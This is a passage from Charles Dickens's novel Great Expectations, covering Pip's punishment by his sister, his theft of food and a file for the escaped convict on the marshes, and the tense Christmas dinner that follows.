it off, every day of her +life. + +Joe's forge adjoined our house, which was a wooden house, as many +of the dwellings in our country were - most of them, at that time. +When I ran home from the churchyard, the forge was shut up, and Joe +was sitting alone in the kitchen. Joe and I being fellow-sufferers, +and having confidences as such, Joe imparted a confidence to me, +the moment I raised the latch of the door and peeped in at him +opposite to it, sitting in the chimney corner. + +"Mrs. Joe has been out a dozen times, looking for you, Pip. And +she's out now, making it a baker's dozen." + +"Is she?" + +"Yes, Pip," said Joe; "and what's worse, she's got Tickler with +her." + +At this dismal intelligence, I twisted the only button on my +waistcoat round and round, and looked in great depression at the +fire. Tickler was a wax-ended piece of cane, worn smooth by +collision with my tickled frame. + +"She sot down," said Joe, "and she got up, and she made a grab at +Tickler, and she Ram-paged out. That's what she did," said Joe, +slowly clearing the fire between the lower bars with the poker, and +looking at it: "she Ram-paged out, Pip." + +"Has she been gone long, Joe?" I always treated him as a larger +species of child, and as no more than my equal. + +"Well," said Joe, glancing up at the Dutch clock, "she's been on +the Ram-page, this last spell, about five minutes, Pip. She's a- +coming! Get behind the door, old chap, and have the jack-towel +betwixt you." + +I took the advice. My sister, Mrs. Joe, throwing the door wide open, +and finding an obstruction behind it, immediately divined the +cause, and applied Tickler to its further investigation. She +concluded by throwing me - I often served as a connubial missile - +at Joe, who, glad to get hold of me on any terms, passed me on into +the chimney and quietly fenced me up there with his great leg. + +"Where have you been, you young monkey?" said Mrs. Joe, stamping her +foot. "Tell me directly what you've been doing to wear me away with +fret and fright and worrit, or I'd have you out of that corner if +you was fifty Pips, and he was five hundred Gargerys." + +"I have only been to the churchyard," said I, from my stool, crying +and rubbing myself. + +"Churchyard!" repeated my sister. "If it warn't for me you'd have +been to the churchyard long ago, and stayed there. Who brought you +up by hand?" + +"You did," said I. + +"And why did I do it, I should like to know?" exclaimed my sister. + +I whimpered, "I don't know." + +"I don't!" said my sister. "I'd never do it again! I know that. I +may truly say I've never had this apron of mine off, since born you +were. It's bad enough to be a blacksmith's wife (and him a Gargery) +without being your mother." + +My thoughts strayed from that question as I looked disconsolately +at the fire. For, the fugitive out on the marshes with the ironed +leg, the mysterious young man, the file, the food, and the dreadful +pledge I was under to commit a larceny on those sheltering +premises, rose before me in the avenging coals. + +"Hah!" said Mrs. Joe, restoring Tickler to his station. "Churchyard, +indeed! You may well say churchyard, you two." One of us, +by-the-bye, had not said it at all. "You'll drive me to the +churchyard betwixt you, one of these days, and oh, a pr-r-recious +pair you'd be without me!" + +As she applied herself to set the tea-things, Joe peeped down at me +over his leg, as if he were mentally casting me and himself up, and +calculating what kind of pair we practically should make, under the +grievous circumstances foreshadowed. After that, he sat feeling his +right-side flaxen curls and whisker, and following Mrs. Joe about +with his blue eyes, as his manner always was at squally times. + +My sister had a trenchant way of cutting our bread-and-butter for +us, that never varied. First, with her left hand she jammed the +loaf hard and fast against her bib - where it sometimes got a pin +into it, and sometimes a needle, which we afterwards got into our +mouths. Then she took some butter (not too much) on a knife and +spread it on the loaf, in an apothecary kind of way, as if she were +making a plaister - using both sides of the knife with a slapping +dexterity, and trimming and moulding the butter off round the +crust. Then, she gave the knife a final smart wipe on the edge of +the plaister, and then sawed a very thick round off the loaf: which +she finally, before separating from the loaf, hewed into two +halves, of which Joe got one, and I the other. + +On the present occasion, though I was hungry, I dared not eat my +slice. I felt that I must have something in reserve for my dreadful +acquaintance, and his ally the still more dreadful young man. I +knew Mrs. Joe's housekeeping to be of the strictest kind, and that +my larcenous researches might find nothing available in the safe. +Therefore I resolved to put my hunk of bread-and-butter down the +leg of my trousers. + +The effort of resolution necessary to the achievement of this +purpose, I found to be quite awful. It was as if I had to make up +my mind to leap from the top of a high house, or plunge into a +great depth of water. And it was made the more difficult by the +unconscious Joe. In our already-mentioned freemasonry as +fellow-sufferers, and in his good-natured companionship with me, it +was our evening habit to compare the way we bit through our slices, +by silently holding them up to each other's admiration now and then +- which stimulated us to new exertions. To-night, Joe several times +invited me, by the display of his fast-diminishing slice, to enter +upon our usual friendly competition; but he found me, each time, +with my yellow mug of tea on one knee, and my untouched +bread-and-butter on the other. At last, I desperately considered +that the thing I contemplated must be done, and that it had best be +done in the least improbable manner consistent with the +circumstances. I took advantage of a moment when Joe had just +looked at me, and got my bread-and-butter down my leg. + +Joe was evidently made uncomfortable by what he supposed to be my +loss of appetite, and took a thoughtful bite out of his slice, +which he didn't seem to enjoy. He turned it about in his mouth much +longer than usual, pondering over it a good deal, and after all +gulped it down like a pill. He was about to take another bite, and +had just got his head on one side for a good purchase on it, when +his eye fell on me, and he saw that my bread-and-butter was gone. + +The wonder and consternation with which Joe stopped on the +threshold of his bite and stared at me, were too evident to escape +my sister's observation. + +"What's the matter now?" said she, smartly, as she put down her +cup. + +"I say, you know!" muttered Joe, shaking his head at me in very +serious remonstrance. "Pip, old chap! You'll do yourself a +mischief. It'll stick somewhere. You can't have chawed it, Pip." + +"What's the matter now?" repeated my sister, more sharply than +before. + +"If you can cough any trifle on it up, Pip, I'd recommend you to do +it," said Joe, all aghast. "Manners is manners, but still your +elth's your elth." + +By this time, my sister was quite desperate, so she pounced on Joe, +and, taking him by the two whiskers, knocked his head for a little +while against the wall behind him: while I sat in the corner, +looking guiltily on. + +"Now, perhaps you'll mention what's the matter," said my sister, +out of breath, "you staring great stuck pig." + +Joe looked at her in a helpless way; then took a helpless bite, and +looked at me again. + +"You know, Pip," said Joe, solemnly, with his last bite in his +cheek and speaking in a confidential voice, as if we two were quite +alone, "you and me is always friends, and I'd be the last to tell +upon you, any time. But such a--" he moved his chair and looked +about the floor between us, and then again at me - "such a most +oncommon Bolt as that!" + +"Been bolting his food, has he?" cried my sister. + +"You know, old chap," said Joe, looking at me, and not at Mrs. Joe, +with his bite still in his cheek, "I Bolted, myself, when I was +your age - frequent - and as a boy I've been among a many Bolters; +but I never see your Bolting equal yet, Pip, and it's a mercy you +ain't Bolted dead." + +My sister made a dive at me, and fished me up by the hair: saying +nothing more than the awful words, "You come along and be dosed." + +Some medical beast had revived Tar-water in those days as a fine +medicine, and Mrs. Joe always kept a supply of it in the cupboard; +having a belief in its virtues correspondent to its nastiness. At +the best of times, so much of this elixir was administered to me as +a choice restorative, that I was conscious of going about, smelling +like a new fence. On this particular evening the urgency of my case +demanded a pint of this mixture, which was poured down my throat, +for my greater comfort, while Mrs. Joe held my head under her arm, +as a boot would be held in a boot-jack. Joe got off with half a +pint; but was made to swallow that (much to his disturbance, as he +sat slowly munching and meditating before the fire), "because he had +had a turn." Judging from myself, I should say he certainly had a +turn afterwards, if he had had none before. + +Conscience is a dreadful thing when it accuses man or boy; but +when, in the case of a boy, that secret burden co-operates with +another secret burden down the leg of his trousers, it is (as I can +testify) a great punishment. The guilty knowledge that I was going +to rob Mrs. Joe - I never thought I was going to rob Joe, for I +never thought of any of the housekeeping property as his - united +to the necessity of always keeping one hand on my bread-and-butter +as I sat, or when I was ordered about the kitchen on any small +errand, almost drove me out of my mind. Then, as the marsh winds +made the fire glow and flare, I thought I heard the voice outside, +of the man with the iron on his leg who had sworn me to secrecy, +declaring that he couldn't and wouldn't starve until to-morrow, but +must be fed now. At other times, I thought, What if the young man +who was with so much difficulty restrained from imbruing his hands +in me, should yield to a constitutional impatience, or should +mistake the time, and should think himself accredited to my heart +and liver to-night, instead of to-morrow! If ever anybody's hair +stood on end with terror, mine must have done so then. But, +perhaps, nobody's ever did? + +It was Christmas Eve, and I had to stir the pudding for next day, +with a copper-stick, from seven to eight by the Dutch clock. I +tried it with the load upon my leg (and that made me think afresh +of the man with the load on his leg), and found the tendency of +exercise to bring the bread-and-butter out at my ankle, quite +unmanageable. Happily, I slipped away, and deposited that part of +my conscience in my garret bedroom. + +"Hark!" said I, when I had done my stirring, and was taking a final +warm in the chimney corner before being sent up to bed; "was that +great guns, Joe?" + +"Ah!" said Joe. "There's another conwict off." + +"What does that mean, Joe?" said I. + +Mrs. Joe, who always took explanations upon herself, said, +snappishly, "Escaped. Escaped." Administering the definition like +Tar-water. + +While Mrs. Joe sat with her head bending over her needlework, I put +my mouth into the forms of saying to Joe, "What's a convict?" Joe +put his mouth into the forms of returning such a highly elaborate +answer, that I could make out nothing of it but the single word +"Pip." + +"There was a conwict off last night," said Joe, aloud, "after +sun-set-gun. And they fired warning of him. And now, it appears +they're firing warning of another." + +"Who's firing?" said I. + +"Drat that boy," interposed my sister, frowning at me over her +work, "what a questioner he is. Ask no questions, and you'll be +told no lies." + +It was not very polite to herself, I thought, to imply that I should +be told lies by her, even if I did ask questions. But she never was +polite, unless there was company. + +At this point, Joe greatly augmented my curiosity by taking the +utmost pains to open his mouth very wide, and to put it into the +form of a word that looked to me like "sulks." Therefore, I +naturally pointed to Mrs. Joe, and put my mouth into the form of +saying "her?" But Joe wouldn't hear of that, at all, and again +opened his mouth very wide, and shook the form of a most emphatic +word out of it. But I could make nothing of the word. + +"Mrs. Joe," said I, as a last resort, "I should like to know - if +you wouldn't much mind - where the firing comes from?" + +"Lord bless the boy!" exclaimed my sister, as if she didn't quite +mean that, but rather the contrary. "From the Hulks!" + +"Oh-h!" said I, looking at Joe. "Hulks!" + +Joe gave a reproachful cough, as much as to say, "Well, I told you +so." + +"And please what's Hulks?" said I. + +"That's the way with this boy!" exclaimed my sister, pointing me +out with her needle and thread, and shaking her head at me. "Answer +him one question, and he'll ask you a dozen directly. Hulks are +prison-ships, right 'cross th' meshes." We always used that name +for marshes, in our country. + +"I wonder who's put into prison-ships, and why they're put there?" +said I, in a general way, and with quiet desperation. + +It was too much for Mrs. Joe, who immediately rose. "I tell you +what, young fellow," said she, "I didn't bring you up by hand to +badger people's lives out. It would be blame to me, and not praise, +if I had. People are put in the Hulks because they murder, and +because they rob, and forge, and do all sorts of bad; and they +always begin by asking questions. Now, you get along to bed!" + +I was never allowed a candle to light me to bed, and, as I went +upstairs in the dark, with my head tingling - from Mrs. Joe's +thimble having played the tambourine upon it, to accompany her last +words - I felt fearfully sensible of the great convenience that the +Hulks were handy for me. I was clearly on my way there. I had begun +by asking questions, and I was going to rob Mrs. Joe. + +Since that time, which is far enough away now, I have often thought +that few people know what secrecy there is in the young, under +terror. No matter how unreasonable the terror, so that it be +terror. I was in mortal terror of the young man who wanted my heart +and liver; I was in mortal terror of my interlocutor with the +ironed leg; I was in mortal terror of myself, from whom an awful +promise had been extracted; I had no hope of deliverance through my +all-powerful sister, who repulsed me at every turn; I am afraid to +think of what I might have done, on requirement, in the secrecy of +my terror. + +If I slept at all that night, it was only to imagine myself +drifting down the river on a strong spring-tide, to the Hulks; a +ghostly pirate calling out to me through a speaking-trumpet, as I +passed the gibbet-station, that I had better come ashore and be +hanged there at once, and not put it off. I was afraid to sleep, +even if I had been inclined, for I knew that at the first faint +dawn of morning I must rob the pantry. There was no doing it in the +night, for there was no getting a light by easy friction then; to +have got one, I must have struck it out of flint and steel, and +have made a noise like the very pirate himself rattling his chains. + +As soon as the great black velvet pall outside my little window was +shot with grey, I got up and went down stairs; every board upon the +way, and every crack in every board, calling after me, "Stop +thief!" and "Get up, Mrs. Joe!" In the pantry, which was far more +abundantly supplied than usual, owing to the season, I was very +much alarmed, by a hare hanging up by the heels, whom I rather +thought I caught, when my back was half turned, winking. I had no +time for verification, no time for selection, no time for anything, +for I had no time to spare. I stole some bread, some rind of +cheese, about half a jar of mincemeat (which I tied up in my +pocket-handkerchief with my last night's slice), some brandy from a +stone bottle (which I decanted into a glass bottle I had secretly +used for making that intoxicating fluid, Spanish-liquorice-water, +up in my room: diluting the stone bottle from a jug in the kitchen +cupboard), a meat bone with very little on it, and a beautiful +round compact pork pie. I was nearly going away without the pie, +but I was tempted to mount upon a shelf, to look what it was that +was put away so carefully in a covered earthen ware dish in a +corner, and I found it was the pie, and I took it, in the hope that +it was not intended for early use, and would not be missed for some +time. + +There was a door in the kitchen, communicating with the forge; I +unlocked and unbolted that door, and got a file from among Joe's +tools. Then, I put the fastenings as I had found them, opened the +door at which I had entered when I ran home last night, shut it, +and ran for the misty marshes. + + +Chapter 3 + +It was a rimy morning, and very damp. I had seen the damp lying on +the outside of my little window, as if some goblin had been crying +there all night, and using the window for a pocket-handkerchief. +Now, I saw the damp lying on the bare hedges and spare grass, like +a coarser sort of spiders' webs; hanging itself from twig to twig +and blade to blade. On every rail and gate, wet lay clammy; and the +marsh-mist was so thick, that the wooden finger on the post +directing people to our village - a direction which they never +accepted, for they never came there - was invisible to me until I +was quite close under it. Then, as I looked up at it, while it +dripped, it seemed to my oppressed conscience like a phantom +devoting me to the Hulks. + +The mist was heavier yet when I got out upon the marshes, so that +instead of my running at everything, everything seemed to run at +me. This was very disagreeable to a guilty mind. The gates and +dykes and banks came bursting at me through the mist, as if they +cried as plainly as could be, "A boy with Somebody-else's pork pie! +Stop him!" The cattle came upon me with like suddenness, staring +out of their eyes, and steaming out of their nostrils, "Holloa, +young thief!" One black ox, with a white cravat on - who even had +to my awakened conscience something of a clerical air - fixed me so +obstinately with his eyes, and moved his blunt head round in such +an accusatory manner as I moved round, that I blubbered out to him, +"I couldn't help it, sir! It wasn't for myself I took it!" Upon +which he put down his head, blew a cloud of smoke out of his nose, +and vanished with a kick-up of his hind-legs and a flourish of his +tail. + +All this time, I was getting on towards the river; but however fast +I went, I couldn't warm my feet, to which the damp cold seemed +riveted, as the iron was riveted to the leg of the man I was +running to meet. I knew my way to the Battery, pretty straight, for +I had been down there on a Sunday with Joe, and Joe, sitting on an +old gun, had told me that when I was 'prentice to him regularly +bound, we would have such Larks there! However, in the confusion of +the mist, I found myself at last too far to the right, and +consequently had to try back along the river-side, on the bank of +loose stones above the mud and the stakes that staked the tide out. +Making my way along here with all despatch, I had just crossed a +ditch which I knew to be very near the Battery, and had just +scrambled up the mound beyond the ditch, when I saw the man sitting +before me. His back was towards me, and he had his arms folded, and +was nodding forward, heavy with sleep. + +I thought he would be more glad if I came upon him with his +breakfast, in that unexpected manner, so I went forward softly and +touched him on the shoulder. He instantly jumped up, and it was not +the same man, but another man! + +And yet this man was dressed in coarse grey, too, and had a great +iron on his leg, and was lame, and hoarse, and cold, and was +everything that the other man was; except that he had not the same +face, and had a flat broad-brimmed low-crowned felt that on. All +this, I saw in a moment, for I had only a moment to see it in: he +swore an oath at me, made a hit at me - it was a round weak blow +that missed me and almost knocked himself down, for it made him +stumble - and then he ran into the mist, stumbling twice as he went, +and I lost him. + +"It's the young man!" I thought, feeling my heart shoot as I +identified him. I dare say I should have felt a pain in my liver, +too, if I had known where it was. + +I was soon at the Battery, after that, and there was the right +man-hugging himself and limping to and fro, as if he had never all +night left off hugging and limping - waiting for me. He was awfully +cold, to be sure. I half expected to see him drop down before my +face and die of deadly cold. His eyes looked so awfully hungry, +too, that when I handed him the file and he laid it down on the +grass, it occurred to me he would have tried to eat it, if he had +not seen my bundle. He did not turn me upside down, this time, to +get at what I had, but left me right side upwards while I opened +the bundle and emptied my pockets. + +"What's in the bottle, boy?" said he. + +"Brandy," said I. + +He was already handing mincemeat down his throat in the most +curious manner - more like a man who was putting it away somewhere +in a violent hurry, than a man who was eating it - but he left off +to take some of the liquor. He shivered all the while, so +violently, that it was quite as much as he could do to keep the +neck of the bottle between his teeth, without biting it off. + +"I think you have got the ague," said I. + +"I'm much of your opinion, boy," said he. + +"It's bad about here," I told him. "You've been lying out on the +meshes, and they're dreadful aguish. Rheumatic too." + +"I'll eat my breakfast afore they're the death of me," said he. +"I'd do that, if I was going to be strung up to that there gallows +as there is over there, directly afterwards. I'll beat the shivers +so far, I'll bet you." + +He was gobbling mincemeat, meatbone, bread, cheese, and pork pie, +all at once: staring distrustfully while he did so at the mist all +round us, and often stopping - even stopping his jaws - to listen. +Some real or fancied sound, some clink upon the river or breathing +of beast upon the marsh, now gave him a start, and he said, +suddenly: + +"You're not a deceiving imp? You brought no one with you?" + +"No, sir! No!" + +"Nor giv' no one the office to follow you?" + +"No!" + +"Well," said he, "I believe you. You'd be but a fierce young hound +indeed, if at your time of life you could help to hunt a wretched +warmint, hunted as near death and dunghill as this poor wretched +warmint is!" + +Something clicked in his throat, as if he had works in him like a +clock, and was going to strike. And he smeared his ragged rough +sleeve over his eyes. + +Pitying his desolation, and watching him as he gradually settled +down upon the pie, I made bold to say, "I am glad you enjoy it." + +"Did you speak?" + +"I said I was glad you enjoyed it." + +"Thankee, my boy. I do." + +I had often watched a large dog of ours eating his food; and I now +noticed a decided similarity between the dog's way of eating, and +the man's. The man took strong sharp sudden bites, just like the +dog. He swallowed, or rather snapped up, every mouthful, too soon +and too fast; and he looked sideways here and there while he ate, +as if he thought there was danger in every direction, of somebody's +coming to take the pie away. He was altogether too unsettled in his +mind over it, to appreciate it comfortably, I thought, or to have +anybody to dine with him, without making a chop with his jaws at +the visitor. In all of which particulars he was very like the dog. + +"I am afraid you won't leave any of it for him," said I, timidly; +after a silence during which I had hesitated as to the politeness +of making the remark. "There's no more to be got where that came +from." It was the certainty of this fact that impelled me to offer +the hint. + +"Leave any for him? Who's him?" said my friend, stopping in his +crunching of pie-crust. + +"The young man. That you spoke of. That was hid with you." + +"Oh ah!" he returned, with something like a gruff laugh. "Him? Yes, +yes! He don't want no wittles." + +"I thought he looked as if he did," said I. + +The man stopped eating, and regarded me with the keenest scrutiny +and the greatest surprise. + +"Looked? When?" + +"Just now." + +"Where?" + +"Yonder," said I, pointing; "over there, where I found him nodding +asleep, and thought it was you." + +He held me by the collar and stared at me so, that I began to think +his first idea about cutting my throat had revived. + +"Dressed like you, you know, only with a hat," I explained, +trembling; "and - and" - I was very anxious to put this delicately +- "and with - the same reason for wanting to borrow a file. Didn't +you hear the cannon last night?" + +"Then, there was firing!" he said to himself. + +"I wonder you shouldn't have been sure of that," I returned, "for +we heard it up at home, and that's further away, and we were shut +in besides." + +"Why, see now!" said he. "When a man's alone on these flats, with a +light head and a light stomach, perishing of cold and want, he +hears nothin' all night, but guns firing, and voices calling. +Hears? He sees the soldiers, with their red coats lighted up by the +torches carried afore, closing in round him. Hears his number +called, hears himself challenged, hears the rattle of the muskets, +hears the orders 'Make ready! Present! Cover him steady, men!' and +is laid hands on - and there's nothin'! Why, if I see one pursuing +party last night - coming up in order, Damn 'em, with their tramp, +tramp - I see a hundred. And as to firing! Why, I see the mist +shake with the cannon, arter it was broad day - But this man;" he +had said all the rest, as if he had forgotten my being there; "did +you notice anything in him?" + +"He had a badly bruised face," said I, recalling what I hardly knew +I knew. + +"Not here?" exclaimed the man, striking his left cheek mercilessly, +with the flat of his hand. + +"Yes, there!" + +"Where is he?" He crammed what little food was left, into the +breast of his grey jacket. "Show me the way he went. I'll pull him +down, like a bloodhound. Curse this iron on my sore leg! Give us +hold of the file, boy." + +I indicated in what direction the mist had shrouded the other man, +and he looked up at it for an instant. But he was down on the rank +wet grass, filing at his iron like a madman, and not minding me or +minding his own leg, which had an old chafe upon it and was bloody, +but which he handled as roughly as if it had no more feeling in it +than the file. I was very much afraid of him again, now that he had +worked himself into this fierce hurry, and I was likewise very much +afraid of keeping away from home any longer. I told him I must go, +but he took no notice, so I thought the best thing I could do was +to slip off. The last I saw of him, his head was bent over his knee +and he was working hard at his fetter, muttering impatient +imprecations at it and at his leg. The last I heard of him, I +stopped in the mist to listen, and the file was still going. + + +Chapter 4 + +I fully expected to find a Constable in the kitchen, waiting to +take me up. But not only was there no Constable there, but no +discovery had yet been made of the robbery. Mrs. Joe was +prodigiously busy in getting the house ready for the festivities of +the day, and Joe had been put upon the kitchen door-step to keep +him out of the dust-pan - an article into which his destiny always +led him sooner or later, when my sister was vigorously reaping the +floors of her establishment. + +"And where the deuce ha' you been?" was Mrs. Joe's Christmas +salutation, when I and my conscience showed ourselves. + +I said I had been down to hear the Carols. "Ah! well!" observed Mrs. +Joe. "You might ha' done worse." Not a doubt of that, I thought. + +"Perhaps if I warn't a blacksmith's wife, and (what's the same +thing) a slave with her apron never off, I should have been to hear +the Carols," said Mrs. Joe. "I'm rather partial to Carols, myself, +and that's the best of reasons for my never hearing any." + +Joe, who had ventured into the kitchen after me as the dust-pan had +retired before us, drew the back of his hand across his nose with a +conciliatory air when Mrs. Joe darted a look at him, and, when her +eyes were withdrawn, secretly crossed his two forefingers, and +exhibited them to me, as our token that Mrs. Joe was in a cross +temper. This was so much her normal state, that Joe and I would +often, for weeks together, be, as to our fingers, like monumental +Crusaders as to their legs. + +We were to have a superb dinner, consisting of a leg of pickled +pork and greens, and a pair of roast stuffed fowls. A handsome +mince-pie had been made yesterday morning (which accounted for the +mincemeat not being missed), and the pudding was already on the +boil. These extensive arrangements occasioned us to be cut off +unceremoniously in respect of breakfast; "for I an't," said Mrs. +Joe, "I an't a-going to have no formal cramming and busting and +washing up now, with what I've got before me, I promise you!" + +So, we had our slices served out, as if we were two thousand troops +on a forced march instead of a man and boy at home; and we took +gulps of milk and water, with apologetic countenances, from a jug +on the dresser. In the meantime, Mrs. Joe put clean white curtains +up, and tacked a new flowered-flounce across the wide chimney to +replace the old one, and uncovered the little state parlour across +the passage, which was never uncovered at any other time, but +passed the rest of the year in a cool haze of silver paper, which +even extended to the four little white crockery poodles on the +mantelshelf, each with a black nose and a basket of flowers in his +mouth, and each the counterpart of the other. Mrs. Joe was a very +clean housekeeper, but had an exquisite art of making her +cleanliness more uncomfortable and unacceptable than dirt itself. +Cleanliness is next to Godliness, and some people do the same by +their religion. + +My sister having so much to do, was going to church vicariously; +that is to say, Joe and I were going. In his working clothes, Joe +was a well-knit characteristic-looking blacksmith; in his holiday +clothes, he was more like a scarecrow in good circumstances, than +anything else. Nothing that he wore then, fitted him or seemed to +belong to him; and everything that he wore then, grazed him. On the +present festive occasion he emerged from his room, when the blithe +bells were going, the picture of misery, in a full suit of Sunday +penitentials. As to me, I think my sister must have had some +general idea that I was a young offender whom an Accoucheur +Policemen had taken up (on my birthday) and delivered over to her, +to be dealt with according to the outraged majesty of the law. I +was always treated as if I had insisted on being born, in +opposition to the dictates of reason, religion, and morality, and +against the dissuading arguments of my best friends. Even when I +was taken to have a new suit of clothes, the tailor had orders to +make them like a kind of Reformatory, and on no account to let me +have the free use of my limbs. + +Joe and I going to church, therefore, must have been a moving +spectacle for compassionate minds. Yet, what I suffered outside, +was nothing to what I underwent within. The terrors that had +assailed me whenever Mrs. Joe had gone near the pantry, or out of +the room, were only to be equalled by the remorse with which my +mind dwelt on what my hands had done. Under the weight of my wicked +secret, I pondered whether the Church would be powerful enough to +shield me from the vengeance of the terrible young man, if I +divulged to that establishment. I conceived the idea that the time +when the banns were read and when the clergyman said, "Ye are now +to declare it!" would be the time for me to rise and propose a +private conference in the vestry. I am far from being sure that I +might not have astonished our small congregation by resorting to +this extreme measure, but for its being Christmas Day and no +Sunday. + +Mr. Wopsle, the clerk at church, was to dine with us; and Mr. Hubble +the wheelwright and Mrs. Hubble; and Uncle Pumblechook (Joe's uncle, +but Mrs. Joe appropriated him), who was a well-to-do corn-chandler +in the nearest town, and drove his own chaise-cart. The dinner hour +was half-past one. When Joe and I got home, we found the table +laid, and Mrs. Joe dressed, and the dinner dressing, and the front +door unlocked (it never was at any other time) for the company to +enter by, and everything most splendid. And still, not a word of +the robbery. + +The time came, without bringing with it any relief to my feelings, +and the company came. Mr. Wopsle, united to a Roman nose and a +large shining bald forehead, had a deep voice which he was +uncommonly proud of; indeed it was understood among his +acquaintance that if you could only give him his head, he would +read the clergyman into fits; he himself confessed that if the +Church was "thrown open," meaning to competition, he would not +despair of making his mark in it. The Church not being "thrown +open," he was, as I have said, our clerk. But he punished the +Amens tremendously; and when he gave out the psalm - always giving +the whole verse - he looked all round the congregation first, as +much as to say, "You have heard my friend overhead; oblige me with +your opinion of this style!" + +I opened the door to the company - making believe that it was a +habit of ours to open that door - and I opened it first to Mr. +Wopsle, next to Mr. and Mrs. Hubble, and last of all to Uncle +Pumblechook. N.B., I was not allowed to call him uncle, under the +severest penalties. + +"Mrs. Joe," said Uncle Pumblechook: a large hard-breathing +middle-aged slow man, with a mouth like a fish, dull staring eyes, +and sandy hair standing upright on his head, so that he looked as +if he had just been all but choked, and had that moment come to; +"I have brought you, as the compliments of the season - I have +brought you, Mum, a bottle of sherry wine - and I have brought you, +Mum, a bottle of port wine." + +Every Christmas Day he presented himself, as a profound novelty, +with exactly the same words, and carrying the two bottles like +dumb-bells. Every Christmas Day, Mrs. Joe replied, as she now +replied, "Oh, Un - cle Pum - ble - chook! This IS kind!" Every +Christmas Day, he retorted, as he now retorted, "It's no more than +your merits. And now are you all bobbish, and how's Sixpennorth of +halfpence?" meaning me. + +We dined on these occasions in the kitchen, and adjourned, for the +nuts and oranges and apples, to the parlour; which was a change +very like Joe's change from his working clothes to his Sunday +dress. My sister was uncommonly lively on the present occasion, and +indeed was generally more gracious in the society of Mrs. Hubble +than in other company. I remember Mrs. Hubble as a little curly +sharp-edged person in sky-blue, who held a conventionally juvenile +position, because she had married Mr. Hubble - I don't know at what +remote period - when she was much younger than he. I remember Mr +Hubble as a tough high-shouldered stooping old man, of a sawdusty +fragrance, with his legs extraordinarily wide apart: so that in my +short days I always saw some miles of open country between them +when I met him coming up the lane. + +Among this good company I should have felt myself, even if I hadn't +robbed the pantry, in a false position. Not because I was squeezed +in at an acute angle of the table-cloth, with the table in my +chest, and the Pumblechookian elbow in my eye, nor because I was +not allowed to speak (I didn't want to speak), nor because I was +regaled with the scaly tips of the drumsticks of the fowls, and +with those obscure corners of pork of which the pig, when living, +had had the least reason to be vain. No; I should not have minded +that, if they would only have left me alone. But they wouldn't +leave me alone. They seemed to think the opportunity lost, if they +failed to point the conversation at me, every now and then, and +stick the point into me. I might have been an unfortunate little +bull in a Spanish arena, I got so smartingly touched up by these +moral goads. + +It began the moment we sat down to dinner. Mr. Wopsle said grace +with theatrical declamation - as it now appears to me, something +like a religious cross of the Ghost in Hamlet with Richard the +Third - and ended with the very proper aspiration that we might be +truly grateful. Upon which my sister fixed me with her eye, and +said, in a low reproachful voice, "Do you hear that? Be grateful." + +"Especially," said Mr. Pumblechook, "be grateful, boy, to them which +brought you up by hand." + +Mrs. Hubble shook her head, and contemplating me with a mournful +presentiment that I should come to no good, asked, "Why is it that +the young are never grateful?" This moral mystery seemed too much +for the company until Mr. Hubble tersely solved it by saying, +"Naterally wicious." Everybody then murmured "True!" and looked at +me in a particularly unpleasant and personal manner. + +Joe's station and influence were something feebler (if possible) +when there was company, than when there was none. But he always +aided and comforted me when he could, in some way of his own, and +he always did so at dinner-time by giving me gravy, if there were +any. There being plenty of gravy to-day, Joe spooned into my plate, +at this point, about half a pint. + +A little later on in the dinner, Mr. Wopsle reviewed the sermon with +some severity, and intimated - in the usual hypothetical case of +the Church being "thrown open" - what kind of sermon he would have +given them. After favouring them with some heads of that discourse, +he remarked that he considered the subject of the day's homily, +ill-chosen; which was the less excusable, he added, when there were +so many subjects "going about." + +"True again," said Uncle Pumblechook. "You've hit it, sir! Plenty of +subjects going about, for them that know how to put salt upon their +tails. That's what's wanted. A man needn't go far to find a +subject, if he's ready with his salt-box." Mr. Pumblechook added, +after a short interval of reflection, "Look at Pork alone. There's +a subject! If you want a subject, look at Pork!" + +"True, sir. Many a moral for the young," returned Mr. Wopsle; and I +knew he was going to lug me in, before he said it; "might be +deduced from that text." + +("You listen to this," said my sister to me, in a severe +parenthesis.) + +Joe gave me some more gravy. + +"Swine," pursued Mr. Wopsle, in his deepest voice, and pointing his +fork at my blushes, as if he were mentioning my Christian name; +"Swine were the companions of the prodigal. The gluttony of Swine +is put before us, as an example to the young." (I thought this +pretty well in him who had been praising up the pork for being so +plump and juicy.) "What is detestable in a pig, is more detestable +in a boy." + +"Or girl," suggested Mr. Hubble. + +"Of course, or girl, Mr. Hubble," assented Mr. Wopsle, rather +irritably, "but there is no girl present." + +"Besides," said Mr. Pumblechook, turning sharp on me, "think what +you've got to be grateful for. If you'd been born a Squeaker--" + +"He was, if ever a child was," said my sister, most emphatically. + +Joe gave me some more gravy. + +"Well, but I mean a four-footed Squeaker," said Mr. Pumblechook. "If +you had been born such, would you have been here now? Not you--" + +"Unless in that form," said Mr. Wopsle, nodding towards the dish. + +"But I don't mean in that form, sir," returned Mr. Pumblechook, who +had an objection to being interrupted; "I mean, enjoying himself +with his elders and betters, and improving himself with their +conversation, and rolling in the lap of luxury. Would he have been +doing that? No, he wouldn't. And what would have been your +destination?" turning on me again. "You would have been disposed of +for so many shillings according to the market price of the article, +and Dunstable the butcher would have come up to you as you lay in +your straw, and he would have whipped you under his left arm, and +with his right he would have tucked up his frock to get a penknife +from out of his waistcoat-pocket, and he would have shed your +blood and had your life. No bringing up by hand then. Not a bit of +it!" + +Joe offered me more gravy, which I was afraid to take. + +"He was a world of trouble to you, ma'am," said Mrs. Hubble, +commiserating my sister. + +"Trouble?" echoed my sister; "trouble?" and then entered on a +fearful catalogue of all the illnesses I had been guilty of, and +all the acts of sleeplessness I had committed, and all the high +places I had tumbled from, and all the low places I had tumbled +into, and all the injuries I had done myself, and all the times she +had wished me in my grave, and I had contumaciously refused to go +there. + +I think the Romans must have aggravated one another very much, with +their noses. Perhaps, they became the restless people they were, in +consequence. Anyhow, Mr. Wopsle's Roman nose so aggravated me, +during the recital of my misdemeanours, that I should have liked to +pull it until he howled. But, all I had endured up to this time, +was nothing in comparison with the awful feelings that took +possession of me when the pause was broken which ensued upon my +sister's recital, and in which pause everybody had looked at me (as +I felt painfully conscious) with indignation and abhorrence. + +"Yet," said Mr. Pumblechook, leading the company gently back to the +theme from which they had strayed, "Pork - regarded as biled - is +rich, too; ain't it?" + +"Have a little brandy, uncle," said my sister. + +O Heavens, it had come at last! He would find it was weak, he would +say it was weak, and I was lost! I held tight to the leg of the +table under the cloth, with both hands, and awaited my fate. + +My sister went for the stone bottle, came back with the stone +bottle, and poured his brandy out: no one else taking any. The +wretched man trifled with his glass - took it up, looked at it +through the light, put it down - prolonged my misery. 